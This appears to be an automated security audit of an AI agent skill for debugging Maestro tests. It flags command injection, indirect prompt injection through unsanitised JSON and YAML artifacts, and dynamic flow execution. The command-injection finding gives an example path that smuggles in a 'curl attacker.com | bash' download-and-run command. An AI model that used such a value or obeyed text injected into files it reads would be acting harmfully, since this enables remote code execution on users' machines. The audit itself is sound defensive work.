maestro-debug-test
Fail
Audited by Gen Agent Trust Hub on Oct 9, 2026
Risk Level: HIGHCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: The skill instructions direct the agent to execute shell commands (
ls,rm, andmaestro test) that directly incorporate a file path provided by the user (<resolved-path>). If a user provides a path containing shell metacharacters (e.g.,test.yml; curl http://attacker.com | bash), it could lead to arbitrary command execution on the host environment. - [INDIRECT_PROMPT_INJECTION]: The skill possesses a vulnerability surface for indirect prompt injection as it ingests and processes untrusted data from the workspace environment.
- Ingestion points: The agent reads content from external artifacts including
commands-*.json,ai-*.json, and.ymltest flow files to diagnose failures. - Boundary markers: Absent. The instructions do not specify the use of delimiters or specific warnings to ignore instructions embedded within the data files being read.
- Capability inventory: The skill has significant capabilities, including local shell command execution (
ls,rm,maestro), file modification (editing YAML flows), and device interaction via MCP tools (user-maestro-run_flow). - Sanitization: Absent. There are no instructions for the agent to validate, sanitize, or escape the content of the test artifacts before using that information to generate fixes or execute further commands.
- [DYNAMIC_EXECUTION]: In Step 3b, the skill instructs the agent to dynamically assemble a YAML snippet containing test commands and execute it using the
user-maestro-run_flowtool. While intended for functionality, this pattern involves generating and executing code based on runtime diagnostic data, which can be manipulated to achieve unintended execution.
Recommendations
- AI detected serious security threats
Audit Metadata